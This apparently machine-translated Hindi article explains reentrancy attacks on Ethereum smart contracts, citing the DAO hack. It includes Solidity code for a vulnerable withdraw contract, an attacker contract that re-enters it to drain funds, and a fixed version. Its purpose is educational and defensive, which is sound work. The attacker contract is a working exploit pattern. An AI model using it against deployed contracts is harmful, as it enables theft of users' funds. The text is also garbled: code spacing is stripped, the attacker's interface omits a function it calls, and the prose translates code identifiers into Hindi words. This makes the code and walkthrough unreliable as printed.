यहां बताया गया है कि सबसे आम स्मार्ट कॉन्ट्रैक्ट हैक में से एक कैसे होता है, जिसकी कीमत वेब 3 कंपनियों को लाखों में होती है...

ब्लॉकचेन उद्योग में कुछ सबसे बड़े हैक, जहां लाखों डॉलर मूल्य के क्रिप्टोकरेंसी टोकन चोरी हो गए, पुनर्प्रवेश हमलों के परिणामस्वरूप हुए। हालाँकि ये हैक हाल के वर्षों में कम आम हो गए हैं, फिर भी ये ब्लॉकचेन एप्लिकेशन और उपयोगकर्ताओं के लिए एक बड़ा खतरा बने हुए हैं।

तो वास्तव में पुनर्प्रवेश हमले क्या हैं? उन्हें कैसे तैनात किया जाता है? और क्या ऐसा कोई उपाय है जिसे डेवलपर्स ऐसा होने से रोकने के लिए कर सकते हैं?

पुनर्प्रवेश आक्रमण क्या है?

पुनर्प्रवेश आक्रमण तब होता है जब एक असुरक्षित स्मार्ट अनुबंध फ़ंक्शन एक दुर्भावनापूर्ण अनुबंध के लिए बाहरी कॉल करता है, अस्थायी रूप से लेनदेन प्रवाह पर नियंत्रण छोड़ देता है। दुर्भावनापूर्ण अनुबंध अपने फंड को ख़त्म करते हुए निष्पादन समाप्त करने से पहले मूल स्मार्ट अनुबंध फ़ंक्शन को बार-बार कॉल करता है।

अनिवार्य रूप से, एथेरियम ब्लॉकचेन पर निकासी लेनदेन तीन-चरणीय चक्र का पालन करता है: शेष राशि की पुष्टि, प्रेषण और शेष अद्यतन। यदि कोई साइबर अपराधी बैलेंस अपडेट से पहले चक्र को हाईजैक कर सकता है, तो वे वॉलेट के खत्म होने तक बार-बार धनराशि निकाल सकते हैं।

instagram viewer

छवि क्रेडिट: इथरस्कैन

सबसे कुख्यात ब्लॉकचेन हैक में से एक, एथेरियम डीएओ हैक, जैसा कि कवर किया गया है कॉइनडेस्क, एक पुनर्प्रवेश हमला था जिसके कारण $60 मिलियन से अधिक मूल्य की एथ का नुकसान हुआ और दूसरी सबसे बड़ी क्रिप्टोकरेंसी के पाठ्यक्रम को मौलिक रूप से बदल दिया गया।

पुनर्प्रवेश आक्रमण कैसे काम करता है?

अपने गृहनगर में एक ऐसे बैंक की कल्पना करें जहां गुणी स्थानीय लोग अपना पैसा रखते हैं; इसकी कुल तरलता $1 मिलियन है। हालाँकि, बैंक में एक त्रुटिपूर्ण लेखांकन प्रणाली है - कर्मचारी बैंक शेष को अपडेट करने के लिए शाम तक इंतजार करते हैं।

आपका निवेशक मित्र शहर का दौरा करता है और लेखांकन दोष का पता लगाता है। वह एक खाता बनाता है और $100,000 जमा करता है। एक दिन बाद, उसने $100,000 निकाल लिए। एक घंटे के बाद, वह $100,000 निकालने का एक और प्रयास करता है। चूँकि बैंक ने उसका बैलेंस अपडेट नहीं किया है, यह अभी भी $100,000 पढ़ता है। तो उसे पैसे मिल जाते हैं. वह ऐसा बार-बार करता है जब तक कि कोई पैसा न बचे। कर्मचारियों को केवल तभी एहसास होता है कि पैसे नहीं हैं जब वे शाम को किताबों का हिसाब-किताब रखते हैं।

स्मार्ट अनुबंध के संदर्भ में, प्रक्रिया इस प्रकार है:

  1. एक साइबर अपराधी एक स्मार्ट अनुबंध "X" की पहचान एक भेद्यता से करता है।
  2. हमलावर एक दुर्भावनापूर्ण अनुबंध, "वाई" पर धन भेजने के लिए लक्ष्य अनुबंध, एक्स के लिए एक वैध लेनदेन शुरू करता है। निष्पादन के दौरान, Y, X में असुरक्षित फ़ंक्शन को कॉल करता है।
  3. एक्स के अनुबंध निष्पादन को रोक दिया गया है या विलंबित किया गया है क्योंकि अनुबंध बाहरी घटना के साथ बातचीत की प्रतीक्षा कर रहा है
  4. जबकि निष्पादन रोक दिया गया है, हमलावर बार-बार एक्स में एक ही कमजोर फ़ंक्शन को कॉल करता है, फिर से जितनी बार संभव हो सके इसके निष्पादन को ट्रिगर करता है
  5. प्रत्येक पुनः प्रवेश के साथ, अनुबंध की स्थिति में हेरफेर किया जाता है, जिससे हमलावर को एक्स से वाई तक धन निकालने की अनुमति मिलती है
  6. एक बार जब धनराशि समाप्त हो जाती है, तो पुनः प्रवेश बंद हो जाता है, एक्स का विलंबित निष्पादन अंततः पूरा हो जाता है, और अनुबंध की स्थिति अंतिम पुनः प्रवेश के आधार पर अद्यतन की जाती है।

आम तौर पर, हमलावर अपने लाभ के लिए पुनर्प्रवेश भेद्यता का सफलतापूर्वक फायदा उठाता है, अनुबंध से धन चुराता है।

पुनर्प्रवेश आक्रमण का एक उदाहरण

तो तैनात किए जाने पर तकनीकी रूप से पुनर्प्रवेश हमला वास्तव में कैसे घटित हो सकता है? यहां पुनर्प्रवेश गेटवे के साथ एक काल्पनिक स्मार्ट अनुबंध है। हम इसका पालन करना आसान बनाने के लिए स्वयंसिद्ध नामकरण का उपयोग करेंगे।

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

असुरक्षित अनुबंध उपयोगकर्ताओं को इसका उपयोग करके अनुबंध में एथ जमा करने की सुविधा देता है जमा समारोह। इसके बाद उपयोगकर्ता इसका उपयोग करके अपने जमा किए गए एथ को वापस ले सकते हैं निकालना समारोह। हालाँकि, इसमें पुनःप्रवेश भेद्यता है निकालना समारोह। जब कोई उपयोगकर्ता निकासी करता है, तो अनुबंध शेष राशि को अपडेट करने से पहले अनुरोधित राशि को उपयोगकर्ता के पते पर स्थानांतरित कर देता है, जिससे हमलावर के लिए शोषण का अवसर पैदा होता है।

अब, यहां बताया गया है कि एक हमलावर का स्मार्ट अनुबंध कैसा दिखेगा।

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

जब हमला शुरू किया जाता है:

  1. हमलावर अनुबंध का पता लेता है असुरक्षित अनुबंध इसके कंस्ट्रक्टर में और इसे स्टोर करता है कमजोरअनुबंध चर।
  2. आक्रमण करना हमलावर द्वारा कुछ एथ जमा करके फ़ंक्शन को कॉल किया जाता है असुरक्षित अनुबंध का उपयोग जमा फ़ंक्शन करें और फिर तुरंत कॉल करें निकालना का कार्य असुरक्षित अनुबंध.
  3. निकालना में कार्य करें असुरक्षित अनुबंध एथ की अनुरोधित राशि हमलावर को हस्तांतरित करता है हमलावर अनुबंध शेष राशि को अपडेट करने से पहले, लेकिन चूंकि बाहरी कॉल के दौरान हमलावर का अनुबंध रुका हुआ है, फ़ंक्शन अभी तक पूरा नहीं हुआ है।
  4. प्राप्त करें में कार्य करें हमलावर अनुबंध ट्रिगर किया गया है क्योंकि असुरक्षित अनुबंध बाहरी कॉल के दौरान इस अनुबंध पर एथ भेजा गया।
  5. प्राप्त फ़ंक्शन जाँचता है कि क्या हमलावर अनुबंध शेष राशि कम से कम 1 ईथर (निकासी जाने वाली राशि) है, तो यह पुनः प्रवेश करती है असुरक्षित अनुबंध इसे कॉल करके निकालना फिर से कार्य करें.
  6. चरण तीन से पांच तक दोहराएँ असुरक्षित अनुबंध धन ख़त्म हो जाता है और हमलावर के अनुबंध में पर्याप्त मात्रा में एथ जमा हो जाता है।
  7. अंत में, हमलावर कॉल कर सकता है चोरी की गई धनराशि वापस लेना में कार्य करें हमलावर अनुबंध उनके अनुबंध में संचित सभी धनराशि चुराने के लिए।

नेटवर्क के प्रदर्शन के आधार पर हमला बहुत तेजी से हो सकता है। जब डीएओ हैक जैसे जटिल स्मार्ट अनुबंधों को शामिल किया गया, जिसके कारण एथेरियम को कड़ी मेहनत करनी पड़ी एथेरियम और एथेरियम क्लासिक, हमला कई घंटों में होता है।

पुनर्प्रवेश हमले को कैसे रोकें

पुनर्प्रवेश हमले को रोकने के लिए, हमें सुरक्षित स्मार्ट अनुबंध विकास के लिए सर्वोत्तम प्रथाओं का पालन करने के लिए कमजोर स्मार्ट अनुबंध को संशोधित करने की आवश्यकता है। इस मामले में, हमें नीचे दिए गए कोड के अनुसार "चेक-इफेक्ट्स-इंटरैक्शन" पैटर्न लागू करना चाहिए।

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

इस निश्चित संस्करण में, हमने एक पेश किया है लॉक किया गया है यह ट्रैक करने के लिए मैपिंग कि कोई विशेष खाता निकासी की प्रक्रिया में है या नहीं। जब कोई उपयोगकर्ता निकासी शुरू करता है, तो अनुबंध जाँच करता है कि क्या उनका खाता लॉक है (!isLocked[msg.sender]), यह दर्शाता है कि वर्तमान में उसी खाते से कोई अन्य निकासी नहीं हो रही है।

यदि खाता लॉक नहीं किया गया है, तो राज्य परिवर्तन और बाहरी इंटरैक्शन के साथ अनुबंध जारी रहता है। स्थिति परिवर्तन और बाहरी संपर्क के बाद, खाता फिर से अनलॉक हो जाता है, जिससे भविष्य में निकासी की अनुमति मिलती है।

पुनर्प्रवेश हमलों के प्रकार

छवि क्रेडिट: इवान रैडिक/फ़्लिकर

आम तौर पर, शोषण की प्रकृति के आधार पर पुनर्प्रवेश हमलों के तीन मुख्य प्रकार होते हैं।

  1. एकल पुनर्प्रवेश आक्रमण: इस मामले में, हमलावर जिस असुरक्षित फ़ंक्शन को बार-बार कॉल करता है वह वही है जो पुनर्प्रवेश गेटवे के लिए अतिसंवेदनशील है। उपरोक्त हमला एकल पुनर्प्रवेश हमले का एक उदाहरण है, जिसे कोड में उचित जांच और लॉक लागू करके आसानी से रोका जा सकता है।
  2. क्रॉस-फ़ंक्शन हमला: इस परिदृश्य में, एक हमलावर एक ही अनुबंध के भीतर एक अलग फ़ंक्शन को कॉल करने के लिए एक कमजोर फ़ंक्शन का लाभ उठाता है जो एक स्थिति को कमजोर के साथ साझा करता है। हमलावर द्वारा बुलाए गए दूसरे फ़ंक्शन का कुछ वांछनीय प्रभाव होता है, जो इसे शोषण के लिए और अधिक आकर्षक बनाता है। यह हमला अधिक जटिल है और इसका पता लगाना कठिन है, इसलिए इसे कम करने के लिए परस्पर जुड़े कार्यों में कड़ी जाँच और लॉक की आवश्यकता होती है।
  3. क्रॉस-कॉन्ट्रैक्ट हमला: यह हमला तब होता है जब कोई बाहरी अनुबंध किसी कमजोर अनुबंध के साथ इंटरैक्ट करता है। इस इंटरैक्शन के दौरान, कमजोर अनुबंध की स्थिति को पूरी तरह से अपडेट होने से पहले बाहरी अनुबंध में बुलाया जाता है। यह आमतौर पर तब होता है जब कई अनुबंध एक ही वैरिएबल साझा करते हैं और कुछ साझा वैरिएबल को असुरक्षित रूप से अपडेट करते हैं। अनुबंधों और आवधिक के बीच सुरक्षित संचार प्रोटोकॉल स्मार्ट कॉन्ट्रैक्ट ऑडिट इस हमले को कम करने के लिए इसे लागू किया जाना चाहिए।

पुनर्प्रवेश हमले विभिन्न रूपों में प्रकट हो सकते हैं और इसलिए प्रत्येक को रोकने के लिए विशिष्ट उपायों की आवश्यकता होती है।

पुनर्प्रवेश हमलों से सुरक्षित रहना

पुनर्प्रवेश हमलों के कारण पर्याप्त वित्तीय नुकसान हुआ है और ब्लॉकचेन अनुप्रयोगों में विश्वास कम हुआ है। अनुबंधों की सुरक्षा के लिए, डेवलपर्स को पुनर्प्रवेश की कमजोरियों से बचने के लिए सर्वोत्तम प्रथाओं को परिश्रमपूर्वक अपनाना चाहिए।

उन्हें सुरक्षित निकासी पैटर्न भी लागू करना चाहिए, विश्वसनीय पुस्तकालयों का उपयोग करना चाहिए और स्मार्ट अनुबंध की रक्षा को और मजबूत करने के लिए गहन ऑडिट करना चाहिए। बेशक, उभरते खतरों के बारे में सूचित रहना और सुरक्षा प्रयासों के साथ सक्रिय रहना यह सुनिश्चित कर सकता है कि वे ब्लॉकचेन पारिस्थितिकी तंत्र की अखंडता को भी बनाए रखें।